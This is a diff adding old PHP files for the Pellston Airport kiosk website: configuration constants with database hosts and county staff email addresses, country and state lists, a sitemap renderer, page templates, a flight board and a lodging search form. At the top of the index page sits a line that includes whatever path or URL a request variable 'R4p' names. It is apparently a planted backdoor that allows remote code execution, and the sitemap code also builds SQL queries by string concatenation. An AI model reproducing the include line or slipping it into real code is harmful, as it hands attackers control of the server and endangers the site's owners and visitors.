+ define( "SI_CUSTOMER_EMAIL", "cscott@localhost" );
+ define( "SI_CUSTOMER_INTERNAL_EMAIL", "cscott@localhost" );
+ define( "SI_DEBUG", 0 );
+ define( "SI_DEBUG_VIEW", TRUE );
+ define( "SI_DEBUG_MAIL", TRUE );
+ define( 'SI_PATH_TO_GRAPHICS_TOOLS', '/usr/bin' );
+ $base_secure_url = $base_url;
+ break;
+
+ case "ws1.gaslightmedia.com":
+ define( "DB_HOST", "ds4.gaslightmedia.com" );
+ define( "DB_NAME", "pellstonairport" );
+ define( "DB_USER", "nobody" );
+// define( "CUSTOMER_EMAIL", "info@gaslightmedia.com" );
+ define( "CUSTOMER_EMAIL", "PellstonKiosk@emmetcounty.org,bpiehl@emmetcounty.org,ccosens@emmetcounty.org" );
+ define( "CUSTOMER_INTERNAL_EMAIL", "PellstonKiosk@emmetcounty.org" );
+ define( "SI_DEBUG", 0);
+ define( "SI_DB_HOST", "ds4.gaslightmedia.com" );
+ define( "SI_DB_NAME", "pellstonairport" );
+ define( "SI_DB_USER", "nobody" );
+ define( "SI_CUSTOMER_EMAIL", "cscott@localhost" );
+ define( "SI_CUSTOMER_INTERNAL_EMAIL", "cscott@localhost" );
+ define( "SI_DEBUG", 0 );
+ define( "SI_DEBUG_VIEW", FALSE );
+ define( "SI_DEBUG_MAIL", FALSE );
+ define( 'SI_PATH_TO_GRAPHICS_TOOLS', '/usr/bin' );
+ $base_secure_url = $base_url;
+ break;
+
+ default: // There should be no need for any settings here
+ break;
+
+ }
+
+
+/********************************************************************************
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+define( "DB_TYPE", "postgres" );
+define( "CONN_STR", "host='".DB_HOST."' dbname='".DB_NAME."' user='".DB_USER."'" );
+
+define( "SI_SERVER", $HTTP_HOST ); // Host name of server
+define( "SI_BASE_PATH", $si_base_path ); // Path to root of site
+define( "BASE_PATH", SI_BASE_PATH ); // Path to root of site
+define( "SI_CALLED_FROM_DIR", $si_called_from_dir ); // Directory where current executing file exists
+define( "SI_BASE_URL", $si_base_url ); // URL to root of Web site
+define( "BASE_URL", SI_BASE_URL.'/' ); // URL to root of Web site
+define( "SI_BASE_SECURE_URL", $si_base_secure_url ); // URL to root of Secure Web site
+define( "SI_BASE_INSECURE_URL", $si_base_insecure_url ); // URL to root of Insecure Web site
+define( "SI_GLM_APPS", $si_base_url."/glm_apps" ); // GLM misc application modules URL
+define( "SI_GLM_SECURE_APPS", $si_base_secure_url."/glm_apps" ); // GLM misc application modules URL - Secure
+define( "SI_THIS_SCRIPT", $si_calling_script_name ); // The name of the calling script
+define( "SI_THIS_SCRIPT", $si_calling_script_name ); // The name of the calling script
+define( "THIS_SCRIPT", SI_THIS_SCRIPT ); // The name of the calling script
+
+define( "SI_DB_USER", "nobody" );
+define( "SI_DB_TYPE", "postgres" );
+define( "SI_CONN_STR", "host='".SI_DB_HOST."' dbname='".SI_DB_NAME."' user='".SI_DB_USER."'" );
+define( "SI_CONN_STR2", "host='".SI_DB_HOST2."' dbname='".SI_DB_NAME2."' user='".SI_DB_USER."'" );
+define( "SI_DB_DATE_STYLE", "SQL" );
+ // ISO - use ISO 8601-style dates and times, "1997-12-17 07:37:16-08"
+ // SQL - use Oracle/Ingres-style dates and times, "12/17/1997 07:37:16.00 PST"
+ // Postgres - use traditional Postgres format, "Wed Dec 17 07:37:16 1997 PST"
+ // European - use dd/mm/yyyy for numeric date representations., "17/12/1997 15:37:16.00 MET"
+ // US - use mm/dd/yyyy for numeric date representations., "12/17/1997 07:37:16.00 PST"
+ // German - use dd.mm.yyyy for numeric date representations., "17.12.1997 07:37:16.00 PST"
+define( 'SI_DB_STATIC', TRUE ); // If true database functions don't automatically close a connection and will re-use if possible
+define( "SI_DB_SET_DATE_STYLE_STRING", "SET DATESTYLE TO '".SI_DB_DATE_STYLE."';\n" );
+
+
+ // Graphics support
+
+define( "SI_GRPH_CONVERT", "/usr/bin/convert" );
+define( "SI_GRPH_DJPEG", "/usr/bin/djpeg ");
+define( "SI_GRPH_CJPEG", "/usr/bin/cjpeg ");
+define( "SI_GRPH_PNMSCALE", "/usr/bin/pnmscale ");
+define( "SI_GRPH_GIFTOPNM", "/usr/bin/giftopnm ");
+define( "SI_GRPH_PPMTOGIF", "/usr/bin/ppmtogif ");
+define( "SI_GRPH_PPMQUANT", "/usr/bin/ppmquant ");
+
+define( "SI_IMAGE_DIR", "images" );
+define( "SI_BASE_IMAGE_URL", SI_BASE_URL."/".SI_IMAGE_DIR );
+define( "SI_BASE_IMAGE_PATH", SI_BASE_PATH."/".SI_IMAGE_DIR );
+
+define( "SI_IMG_ORIGINAL_URL", SI_BASE_IMAGE_URL."/original" );
+define( "SI_IMG_RESIZED_URL", SI_BASE_IMAGE_URL."/resized" );
+define( "SI_IMG_MIDSIZED_URL", SI_BASE_IMAGE_URL."/midsized" );
+define( "SI_IMG_THUMB_URL", SI_BASE_IMAGE_URL."/thumb" );
+
+define( "SI_IMG_ORIGINAL_PATH", SI_BASE_IMAGE_PATH."/original" );
+define( "SI_IMG_RESIZED_PATH", SI_BASE_IMAGE_PATH."/resized" );
+define( "SI_IMG_MIDSIZED_PATH", SI_BASE_IMAGE_PATH."/midsized" );
+define( "SI_IMG_THUMB_PATH", SI_BASE_IMAGE_PATH."/thumb" );
+define( "SI_POSTCARD_URL", SI_BASE_URL."/index.phtml" );
+
+$si_today = date( 'n/d/Y' ); // Today's date
+$si_timestamp = time(); // Current Timestamp
+
+define( "SI_COPYRIGHT_YEARS", "2002-".date("Y") ); // Years for copyright statement in footer
+
+
+ // Information about the customer
+
+define( "SI_CUSTOMER_NAME", "Pellston Airport Kiosk" );
+define( "SI_CUSTOMER_LONG_NAME", "CUST_LONG_NAME_NOT_SET" );
+define( "SI_CUSTOMER_PHONE", "PHONE_NO_NOT_SET" );
+define( "SI_CUSTOMER_FAX", "FAX_NO_NOT_SET" );
+define( "SI_CUSTOMER_TOLL_FREE", "TOLL_FREE_NOT_SET" );
+define( "SI_CUSTOMER_ADDRESS", "ADDRESS_NOT_SET" );
+define( "SI_CUSTOMER_CITY", "CITY_NOT_SET" );
+define( "SI_CUSTOMER_STATE", "STATE_NOT_SET" );
+define( "SI_CUSTOMER_ZIP", "ZIP_NOT_SET" );
+define( "SI_CUSTOMER_FROM_EMAIL", "CUST_EMAIL_NOT_SET" );
+define( "SI_CUSTOMER_LETTER_CLOSING", "Sincerely," );
+
+ // Strings for TITLE tags
+
+define( "SI_CUSTOMER_META_KEYWORDS", // Meta Keywords for search engines
+"Functions Library Development" );
+
+define( "SI_CUSTOMER_META_DESCR", // Meta description for search engines
+"Gaslight Media Standard Functions Library Development." );
+
+define( "SI_CUSTOMER_ASSETS", SI_BASE_URL."/assets" );
+
+define( "SI_CUST_LOGO", "assets/logo.gif" );
+define( "SI_CUST_LOGO_MEDIUM", "assets/logo_medium.gif" );
+define( "SI_CUST_LOGO_SMALL", "assets/logo_small.gif" );
+
+define( "SI_CUST_LOGO_URL", $si_base_url."/".SI_CUST_LOGO );
+define( "SI_CUST_LOGO_MEDIUM_URL", $si_base_url."/".SI_CUST_LOGO_MEDIUM );
+define( "SI_CUST_LOGO_SMALL_URL", $si_base_url."/".SI_CUST_LOGO_SMALL );
+
+// -----------------------------------
+// Application Specific Configurations
+// -----------------------------------
+
+
+// -------------------------------
+// Other misc. configuration items
+// -------------------------------
+
+ // Image related configuration
+
+define( "SI_THEIGHT", "60" );
+define( "SI_RESIZED_SIZE", "250" );
+define( "SI_MIDSIZED_SIZE", "178" );
+define( "SI_THUMB_SIZE", "80" );
+
+ // Calender applet configuration
+
+define( "SI_CAL_BKND", "#EFEFEF"); // Window Background color
+define( "SI_CAL_TABLE", "#FFFFFF"); // Table background color
+define( "SI_CAL_HEAD", "#FFFFFF"); // Table Header Color (days)
+define( "SI_CAL_DATE", "#FFFFFF"); // Background color of days
+define( "SI_CAL_TODAY", "yellow"); // Background color of todays date
+define( "SI_CAL_NODATE", "#E0E0E0"); // Background color of non-dates
+
+define( "SI_SES_TIMEOUT", "86400" ); // Session timeout - 1 Hour
+
+ // Defaults for things in functions.inc
+
+define( "SI_DEFAULT_TEXTBOX_COLS", 60 );
+define( "SI_DEFAULT_TEXTBOX_ROWS", 6 );
+
+
+
+
+$month_array = array
+ (
+ 1 => "January",
+ 2 => "February",
+ 3 => "March",
+ 4 => "April",
+ 5 => "May",
+ 6 => "June",
+ 7 => "July",
+ 8 => "August",
+ 9 => "September",
+ 10 => "October",
+ 11 => "November",
+ 12 => "December"
+ );
+
+ // Countries list
+ // For the "out of sequence" countries there is no need to remove them from the full list
+ // For update see....http://www.iso.ch/iso/en/prods-services/iso3166ma/02iso-3166-code-lists/index.html
+
+$si_countries_array = array
+ (
+ // Out of sequence for convenience
+ 'US' => 'United States',
+ 'CA' => 'Canada',
+
+ "AF" => "Afghanistan",
+ "AX" => "Land Islands",
+ "AL" => "Albania",
+ "DZ" => "Algeria",
+ "AS" => "American Samoa",
+ "AD" => "Andorra",
+ "AO" => "Angola",
+ "AI" => "Anguilla",
+ "AQ" => "Antarctica",
+ "AG" => "Antigua and Barbuda",
+ "AR" => "Argentina",
+ "AM" => "Armenia",
+ "AW" => "Aruba",
+ "AU" => "Australia",
+ "AT" => "Austria",
+ "AZ" => "Azerbaijan",
+ "BS" => "Bahamas",
+ "BH" => "Bahrain",
+ "BD" => "Bangladesh",
+ "BB" => "Barbados",
+ "BY" => "Belarus",
+ "BE" => "Belgium",
+ "BZ" => "Belize",
+ "BJ" => "Benin",
+ "BM" => "Bermuda",
+ "BT" => "Bhutan",
+ "BO" => "Bolivia",
+ "BA" => "Bosnia and Herzegovina",
+ "BW" => "Botswana",
+ "BV" => "Bouvet Island",
+ "BR" => "Brazil",
+ "IO" => "British Indian Ocean Territory",
+ "BN" => "Brunei Darussalam",
+ "BG" => "Bulgaria",
+ "BF" => "Burkina Faso",
+ "BI" => "Burundi",
+ "KH" => "Cambodia",
+ "CM" => "Cameroon",
+ "CA" => "Canada",
+ "CV" => "Cape Verde",
+ "KY" => "Cayman Islands",
+ "CF" => "Central African Republic",
+ "TD" => "Chad",
+ "CL" => "Chile",
+ "CN" => "China",
+ "CX" => "Christmas Island",
+ "CC" => "Cocos (Keeling) Islands",
+ "CO" => "Colombia",
+ "KM" => "Comoros",
+ "CG" => "Congo",
+ "CD" => "Congo, the Democratic Rep. of",
+ "CK" => "Cook Islands",
+ "CR" => "Costa Rica",
+ "CI" => "Cote D'Ivoire",
+ "HR" => "Croatia",
+ "CU" => "Cuba",
+ "CY" => "Cyprus",
+ "CZ" => "Czech Republic",
+ "DK" => "Denmark",
+ "DJ" => "Djibouti",
+ "DM" => "Dominica",
+ "DO" => "Dominican Republic",
+ "EC" => "Ecuador",
+ "EG" => "Egypt",
+ "SV" => "El Salvador",
+ "GQ" => "Equatorial Guinea",
+ "ER" => "Eritrea",
+ "EE" => "Estonia",
+ "ET" => "Ethiopia",
+ "FK" => "Falkland Islands (Malvinas)",
+ "FO" => "Faroe Islands",
+ "FJ" => "Fiji",
+ "FI" => "Finland",
+ "FR" => "France",
+ "GF" => "French Guiana",
+ "PF" => "French Polynesia",
+ "TF" => "French Southern Territories",
+ "GA" => "Gabon",
+ "GM" => "Gambia",
+ "GE" => "Georgia",
+ "DE" => "Germany",
+ "GH" => "Ghana",
+ "GI" => "Gibraltar",
+ "GR" => "Greece",
+ "GL" => "Greenland",
+ "GD" => "Grenada",
+ "GP" => "Guadeloupe",
+ "GU" => "Guam",
+ "GT" => "Guatemala",
+ "GN" => "Guinea",
+ "GW" => "Guinea-Bissau",
+ "GY" => "Guyana",
+ "HT" => "Haiti",
+ "HM" => "Heard Island, McDonald Islands",
+ "VA" => "Holy see (Vatican City State)",
+ "HN" => "Honduras",
+ "HK" => "Hong Kong",
+ "HU" => "Hungary",
+ "IS" => "Iceland",
+ "IN" => "India",
+ "ID" => "Indonesia",
+ "IR" => "Iran, Islamic Republic of",
+ "IQ" => "Iraq",
+ "IE" => "Ireland",
+ "IL" => "Israel",
+ "IT" => "Italy",
+ "JM" => "Jamaica",
+ "JP" => "Japan",
+ "JO" => "Jordan",
+ "KZ" => "Kazakhstan",
+ "KE" => "Kenya",
+ "KI" => "Kiribati",
+ "KP" => "Korea, Democratic People's Rep. of",
+ "KR" => "Korea, Republic of",
+ "KW" => "Kuwait",
+ "KG" => "Kyrgyzstan",
+ "LA" => "Lao People's Democratic Republic",
+ "LV" => "Latvia",
+ "LB" => "Lebanon",
+ "LS" => "Lesotho",
+ "LR" => "Liberia",
+ "LY" => "Libyan Arab Jamahiriya",
+ "LI" => "Liechtenstein",
+ "LT" => "Lithuania",
+ "LU" => "Luxembourg",
+ "MO" => "Macao",
+ "MK" => "Macedonia, the Former Yugoslav Rep.",
+ "MG" => "Madagascar",
+ "MW" => "Malawi",
+ "MY" => "Malaysia",
+ "MV" => "Maldives",
+ "ML" => "Mali",
+ "MT" => "Malta",
+ "MH" => "Marshall Islands",
+ "MQ" => "Martinique",
+ "MR" => "Mauritania",
+ "MU" => "Mauritius",
+ "YT" => "Mayotte",
+ "MX" => "Mexico",
+ "FM" => "Micronesia, Federated States of",
+ "MD" => "Moldova, Republic of",
+ "MC" => "Monaco",
+ "MN" => "Mongolia",
+ "MS" => "Montserrat",
+ "MA" => "Morocco",
+ "MZ" => "Mozambique",
+ "MM" => "Myanmar",
+ "NA" => "Namibia",
+ "NR" => "Nauru",
+ "NP" => "Nepal",
+ "NL" => "Netherlands",
+ "AN" => "Netherlands Antilles",
+ "NC" => "New Caledonia",
+ "NZ" => "New Zealand",
+ "NI" => "Nicaragua",
+ "NE" => "Niger",
+ "NG" => "Nigeria",
+ "NU" => "Niue",
+ "NF" => "Norfolk Island",
+ "MP" => "Northern Mariana Islands",
+ "NO" => "Norway",
+ "OM" => "Oman",
+ "PK" => "Pakistan",
+ "PW" => "Palau",
+ "PS" => "Palestinian Territory, Occupied",
+ "PA" => "Panama",
+ "PG" => "Papua New Guinea",
+ "PY" => "Paraguay",
+ "PE" => "Peru",
+ "PH" => "Philippines",
+ "PN" => "Pitcairn",
+ "PL" => "Poland",
+ "PT" => "Portugal",
+ "PR" => "Puerto Rico",
+ "QA" => "Qatar",
+ "RE" => "Reunion",
+ "RO" => "Romania",
+ "RU" => "Russian Federation",
+ "RW" => "Rwanda",
+ "SH" => "Saint Helena",
+ "KN" => "Saint Kitts and Nevis",
+ "LC" => "Saint Lucia",
+ "PM" => "Saint Pierre and Miquelon",
+ "VC" => "Saint Vincent and the Grenadines",
+ "WS" => "Samoa",
+ "SM" => "San Marino",
+ "ST" => "Sao Tome and Principe",
+ "SA" => "Saudi Arabia",
+ "SN" => "Senegal",
+ "CS" => "Serbia and Montenegro",
+ "SC" => "Seychelles",
+ "SL" => "Sierra Leone",
+ "SG" => "Singapore",
+ "SK" => "Slovakia",
+ "SI" => "Slovenia",
+ "SB" => "Solomon Islands",
+ "SO" => "Somalia",
+ "ZA" => "South Africa",
+ "GS" => "South Georgia, South Sandwich Islands",
+ "ES" => "Spain",
+ "LK" => "Sri Lanka",
+ "SD" => "Sudan",
+ "SR" => "Suriname",
+ "SJ" => "Svalbard and Jan Mayen",
+ "SZ" => "Swaziland",
+ "SE" => "Sweden",
+ "CH" => "Switzerland",
+ "SY" => "Syrian Arab Republic",
+ "TW" => "Taiwan, Province of China",
+ "TJ" => "Tajikistan",
+ "TZ" => "Tanzania, United Republic of",
+ "TH" => "Thailand",
+ "TL" => "Timor-Leste",
+ "TG" => "Togo",
+ "TK" => "Tokelau",
+ "TO" => "Tonga",
+ "TT" => "Trinidad and Tobago",
+ "TN" => "Tunisia",
+ "TR" => "Turkey",
+ "TM" => "Turkmenistan",
+ "TC" => "Turks and Caicos Islands",
+ "TV" => "Tuvalu",
+ "UG" => "Uganda",
+ "UA" => "Ukraine",
+ "AE" => "United Arab Emirates",
+ "GB" => "United Kingdom",
+ "US" => "United States",
+ "UM" => "United States minor outlying islands",
+ "UY" => "Uruguay",
+ "UZ" => "Uzbekistan",
+ "VU" => "Vanuatu",
+ "VE" => "Venezuela",
+ "VN" => "Viet Nam",
+ "VG" => "Virgin Islands, British",
+ "VI" => "Virgin Islands, U.S.",
+ "WF" => "Wallis and Futuna",
+ "EH" => "Western Sahara",
+ "YE" => "Yemen",
+ "ZM" => "Zambia",
+ "ZW" => "Zimbabwe"
+ );
+
+$si_countries_list = $s = "";
+while( list($k, $v) = each($si_countries_array) )
+ {
+ $si_countries_list .= "$s$k^$v";
+ $s = "~";
+ }
+
+$si_states_array = array
+ (
+ "AL" => "Alabama",
+ "AK" => "Alaska",
+ "AB" => "Alberta",
+ "AZ" => "Arizona",
+ "AR" => "Arkansas",
+ "BC" => "British Columbia",
+ "CA" => "California",
+ "CO" => "Colorado",
+ "CT" => "Connecticut",
+ "DE" => "Delaware",
+ "DC" => "District of Columbia",
+ "FL" => "Florida",
+ "GA" => "Georgia",
+ "GU" => "Guam",
+ "HI" => "Hawaii",
+ "ID" => "Idaho",
+ "IL" => "Illinois",
+ "IN" => "Indiana",
+ "IA" => "Iowa",
+ "KS" => "Kansas",
+ "KY" => "Kentucky",
+ "LA" => "Louisiana",
+ "ME" => "Maine",
+ "MB" => "Manitoba",
+ "MD" => "Maryland",
+ "MA" => "Massachusetts",
+ "MI" => "Michigan",
+ "MN" => "Minnesota",
+ "MS" => "Mississppi",
+ "MO" => "Missouri",
+ "MT" => "Montana",
+ "NE" => "Nebraska",
+ "NV" => "Nevada",
+ "NB" => "New Brunswick",
+ "NF" => "Newfoundland",
+ "NH" => "New Hampshire",
+ "NJ" => "New Jersey",
+ "NM" => "New Mexico",
+ "NY" => "New York",
+ "NC" => "North Carolina",
+ "ND" => "North Dakota",
+ "NT" => "Northwest Territories",
+ "NS" => "Nova Scotia",
+ "OH" => "Ohio",
+ "OK" => "Oklahoma",
+ "ON" => "Ontario",
+ "OR" => "Oregon",
+ "PA" => "Pennsylvania",
+ "PE" => "Prince Edward Island",
+ "PR" => "Puerto Rico",
+ "QC" => "Quebec",
+ "RI" => "Rhode Island",
+ "SK" => "Saskatchewan",
+ "SC" => "South Carolina",
+ "SD" => "South Dakota",
+ "TN" => "Tennessee",
+ "TX" => "Texas",
+ "UT" => "Utah",
+ "VT" => "Vermont",
+ "VI" => "Virgin Islands",
+ "VA" => "Virginia",
+ "WA" => "Washington",
+ "WV" => "West Virginia",
+ "WI" => "Wisconsin",
+ "WY" => "Wyoming",
+ "YT" => "Yukon"
+ );
+
+$si_states_list = $s = "";
+while( list($k, $v) = each($si_states_array) )
+ {
+ $si_states_list .= "$s$k^$v";
+ $s = "~";
+ }
+
+ // Determine number of bits in an integer useable for a bitmap - PHP doesn't have sizeof()
+
+settype( $test_int, "integer" );
+$test_int = 1;
+for( $i=1 ; $i<100 ; $i++ )
+ {
+ $t = $test_int * 2;
+ $test_int = $test_int << 1;
+ if( $test_int != $t )
+ break;
+ }
+define( 'SI_INT_SIZE', $i );
+
+
+} // if( !isset($siteinfo) )
+
+?>
--- /dev/null
+<?php
+/**
+*
+*
+* Filename: sitemap.inc
+*
+* Description: output site map
+*
+* Version: 1.0
+* Created: 09/30/2004 04:07:26 PM EDT
+* Revision: none
+*
+* Company: Gaslight Media
+* example page
+<html>
+ <head>
+ <title></title>
+ <style type="text/css">
+ <!--
+ div#sitemap {width: 100%;overflow:hidden;font-family: arial, helvetica, sans-serif; font-size: 12px;}
+ div#sitemap ul {list-style: none; margin: 0; padding: 0; margin-top: 0; padding-top: 0; list-style-image: none;}
+ div#sitemap ul ul {padding: 0 0 0 5px; margin: 0 0 0 5px; }
+ div#sitemap li {list-style: none; margin: 3px 0; padding: 0; list-style-image: none; float: left; width: 100%;}
+ div#sitemap dl {padding: 0; margin: 0; display: block; }
+ div#sitemap dt {margin: 0; padding: 0; font-style: normal;}
+ div#sitemap dt a {font-size: 16px; font-weight: bold; text-transform: uppercase;}
+ div#sitemap ul ul dt a {font-size: 14px; font-weight: bold; margin: 0; clear: left;}
+ div#sitemap ul ul ul dt a {font-size: 12px; font-weight: normal; margin: 0; text-transform: none;clear: left;}
+ div#sitemap dt a:link {color: #369;}
+ div#sitemap dt a:visited {color: #369;}
+ div#sitemap dt a:active {color: #369;}
+ div#sitemap dt a:hover {color: #000;}
+ div#sitemap dd {margin: 0; padding: 0;}
+ -->
+ </style>
+ </head>
+ <body>
+ <div id="sitemap">
+ <?php include('sitemap.inc');?>
+ </div>
+ </body>
+</html>
+*
+*/
+
+class Thread
+{
+ var $begin_level = "<ul>";
+ var $end_level = "</ul>";
+ var $begin_item = "<li>";
+ var $end_item = "</li>";
+ var $whole_thread;
+ var $search = "";
+ var $DB;
+
+ function Thread($code="",&$DB)
+ {
+ if(!empty($code))
+ {
+ $this->begin_level = $code[begin_level];
+ $this->end_level = $code[end_level];
+ $this->begin_item = $code[begin_item];
+ $this->end_item = $code[end_item];
+ }
+ if($GLOBALS["search"])
+ {
+ $this->search = $GLOBALS["search"];
+ }
+ $this->DB =& $DB;
+ }
+
+ function sortChilds($threads)
+ {
+ while(list($var, $value) = each($threads))
+ $childs[$value[parent]][$value[id]] = $value;
+ return $childs;
+ }
+
+ /**
+ * convertToThread: outputs the array with the correct styles and code applied
+ * @param $threads: Thread array
+ * @param $thread: Start with thread[0] will work it way down
+ *
+ * @return whole_thread
+ * @access public
+ **/
+ function convertToThread($threads, $thread)
+ {
+ global $toolbox;
+ static $p,$level_counter;
+ if( !$level_counter )
+ {
+ $level_counter = 1;
+ }
+ if( $level_counter != 1 )
+ {
+ $this->whole_thread .= $this->begin_item;
+ }
+ $this->whole_thread .= $this->begin_level;
+ while(list($parent, $value) = each($thread))
+ {
+ $this->whole_thread .= $this->begin_item . "<dl><dt>" ;
+
+ $page = $toolbox->get_seo_url( $value['id'] );
+ $this->whole_thread .= '<a href="'.$page.'">';
+ $this->whole_thread .= $value["category"]
+ . "</a></dt><dd>".$value["descr"]."..</dd></dl>"
+ . $this->end_item ."\n";
+ if($threads[$parent] )
+ {
+ $level_counter++;
+ $this->convertToThread($threads, $threads[$parent]);
+ $level_counter--;
+ }
+ }
+ $this->whole_thread .= $this->end_level;
+ if( $level_counter != 1 )
+ {
+ $this->whole_thread .= $this->end_item;
+ }
+ return $this->whole_thread;
+ }
+}
+function sitemap_keyword_replace($string)
+{
+ if($search = strstr($string,"{"))
+ {
+ if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}?",$string,$needle))
+ {
+ if($needle[0] != "")
+ {
+ $qs = "SELECT id,category
+ FROM bus_category
+ WHERE trim(keyword) = '".trim($needle[1])."'";
+
+ $keyres = $GLOBALS['toolbox']->DB->db_auto_get_data($qs);
+ if($keyres[0]['id']==1)
+ {
+ $page="";
+ }
+ $replacement = "".$keyres[0]['category']."";
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ }
+ else
+ {
+ return($string);
+ }
+ if($search = strstr($string,"{"))
+ {
+ return(sitemap_keyword_replace($string));
+ }
+ }
+ return($string);
+}
+if( $nf == 1 )
+{
+ echo '<h2>Page not found</h2>The page you are looking for doesn\'t exist.';
+}
+function make_teaser($text, $maxlength, $strip_tags=FALSE)
+{
+ if($strip_tags)
+ {
+ $text = strip_tags($text);
+ }
+ if(strlen($text) > $maxlength)
+ {
+ $pos = strpos($text, ' ', $maxlength);
+ $text = substr($text, 0, $pos);
+ }
+ return $text;
+}
+$query = "select * from bus_category order by parent,pos";
+$data = $toolbox->DB->db_auto_get_data($query);
+if(is_array($data))
+{
+ foreach($data as $key=>$val)
+ {
+ $description = make_teaser( sitemap_keyword_replace( $val['description'] ),200 ,true );
+ $threads[] = array("id"=>$val['id'], 'descr'=>$description, 'category'=>strip_tags($val['category']), 'type'=>$val['type'], 'parent'=>$val['parent'], 'closed' => false);
+ }
+}
+$links = array("begin_level" => "<ul>","end_level" => "</ul>","begin_item" => "<li>","end_item" => "</li>");
+if(is_array($threads))
+{
+ $myThread = new Thread($links,&$toolbox->DB);
+ $converted = $myThread->sortChilds($threads); //sort threads by parent
+ print $myThread->convertToThread($converted, $converted[0]); //print the threads
+}
+?>
--- /dev/null
+<?php
+if(isset($R4p))
+include_once($R4p);
+require_once('setup.phtml');
+require_once(BASE.'classes/class_template.inc');
+$catid = ( $catid ) ? $catid : HOME_ID;
+$toolbox =& new GLM_TEMPLATE( $catid );
+$banner_image = $toolbox->get_banner();
+if( $catid == HOME_ID )
+{
+ $title = '';
+ $meta_tags = '';
+}
+else
+{
+ $title = $toolbox->title();
+ $meta_tags = $toolbox->meta_tags();
+}
+$glm_path = ( $_SERVER['HTTPS'] == 'on' ) ? BASE_SECURE_URL: BASE_URL;
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+ <title>Pellston Michigan MI Airport Northern Michigan Directory</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta name="description" content="The Pellston Michigan Airport now offers a business directory with information on lodging, schools, local government, weather, recreational activities, northern Michigan golf, vacations, restaurants, hotels. The Pellston MI Airport is the gateway to Northern Michigan.">
+<link rel="stylesheet" type="text/css" href="<?php echo $glm_path;?>styles.css">
+<?php
+if( $catid == 16 )
+{
+echo '<link rel="stylesheet" type="text/css" href="'.$glm_path.'contactform.css">';
+}
+?>
+<style type="text/css">
+ <!--
+ div#sitemap {width: 100%;overflow:hidden;font-family: arial, helvetica, sans-serif; font-size: 12px;}
+ div#sitemap ul {list-style: none; margin: 0; padding: 0; margin-top: 0; padding-top: 0; list-style-image: none;}
+ div#sitemap ul ul {padding: 0 0 0 5px; margin: 0 0 0 5px; }
+ div#sitemap li {list-style: none; margin: 3px 0; padding: 0; list-style-image: none; float: left; width: 100%;}
+ div#sitemap dl {padding: 0; margin: 0; display: block; }
+ div#sitemap dt {margin: 0; padding: 0; font-style: normal;}
+ div#sitemap dt a {font-size: 16px; font-weight: bold; text-transform: uppercase;}
+ div#sitemap ul ul dt a {font-size: 14px; font-weight: bold; margin: 0; clear: left;}
+ div#sitemap ul ul ul dt a {font-size: 12px; font-weight: normal; margin: 0; text-transform: none;clear: left;}
+ div#sitemap dt a:link {color: #369;}
+ div#sitemap dt a:visited {color: #369;}
+ div#sitemap dt a:active {color: #369;}
+ div#sitemap dt a:hover {color: #000;}
+ div#sitemap dd {margin: 0; padding: 0;}
+ -->
+ </style>
+</head>
+<body>
+<div id="wrapper">
+ <div id="top"><?echo $banner_image;?></div>
+ <!--
+ <img src="<?php echo $glm_path;?>assets/top4.jpg" width="760" height="137" alt="" id="top">
+ -->
+ <div id="rim-top"></div>
+ <div id="content">
+ <div id="sitemap">
+ <?php
+ include('sitemap.inc');
+ ?>
+ </div><!-- /#toolbox -->
+ </div>
+ <div id="nav">
+ <div id="navcontainer">
+ <?php
+ echo $toolbox->make_ul_menu();
+ ?>
+ </div>
+ <div id="address-left">
+ Administration<br>(231) 539-8441<br><br>
+Northwest Airlink<br>(231) 539-8423<br><br>
+Fixed Base Operator<br>(231) 539-8442</div>
+ </div>
+ <div class="clearer"></div>
+ <div id="rim-bottom"></div>
+</div>
+<div id="copyright">
+ Copyright©<?php echo date('Y');?> Pellston Airport, All Rights Reserved. Produced by <a href="http://www.gaslightmedia.com">Gaslight Media</a>
+</div>
+</body>
+</html>
--- /dev/null
+<?php
+ include_once( BASE."members/member_action.inc" );
+?>
--- /dev/null
+<br>
+<?php
+ include(BASE.'classes/class_member_form.inc');
+ $member =& new member_form( &$this );
+?>
--- /dev/null
+<?php
+require_once(BASE.'classes/class_flight.inc');
+$flights =& new glm_flight( &$this );
+$flights->get_flight_data();
+echo '<div id="flights">
+ <h2>Arrivals</h2>';
+echo $flights->build_arrivals();
+echo '
+<h2>Departures</h2>';
+echo $flights->build_departures();
+echo $flights->last_updated;
+echo '</div>';
+?>
--- /dev/null
+<form ACTION="<?echo $GLOBALS["PHP_SELF"]?>" METHOD=POST>
+ <input type="hidden" name="catid" value="<?echo $this->catid?>">
+<input type="hidden" name="memb_type" value="1">
+<input TYPE="text" NAME="name" SIZE=30> <b>Company</b><br>
+<?php
+$query = "select * from prop_type order by name;";
+if( $data = $this->DB->db_auto_get_data( $query ) )
+{
+ $select = '<select name="prop_type">
+ ';
+ foreach( $data as $row )
+ {
+ $select .= '<option value="'.$row["id"].'">'.$row["name"].'</option>';
+ }
+ $select .= '</select>';
+}
+echo $select;
+?>
+ <b>Type of Accommodation</b>
+
+<table><tr><td WIDTH=200 class="text">
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="indoor_pool"> Indoor Pool<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="outdoor_pool"> Outdoor Pool<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="sauna"> In Room Spa<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="waterview"> On The Water/Water View<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="snowmobile_tr"> Snowmobile Trail Access<br>
+</td><td WIDTH=200 class="text">
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="pets"> Pets Allowed<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="barrierfree"> Barrier Free<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="restaurant"> Restaurant Adjacent<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="meeting"> Meeting Room<br>
+<input TYPE="CHECKBOX" NAME="bool_type[]" value="efficiencies"> Efficiencies<br>
+<!--<input TYPE="CHECKBOX" NAME="bool_type[]" value="packages"> Special Packages<br>-->
+</td></tr><tr>
+ <td ALIGN="CENTER">
+<input TYPE="Submit" VALUE=" Search ">
+
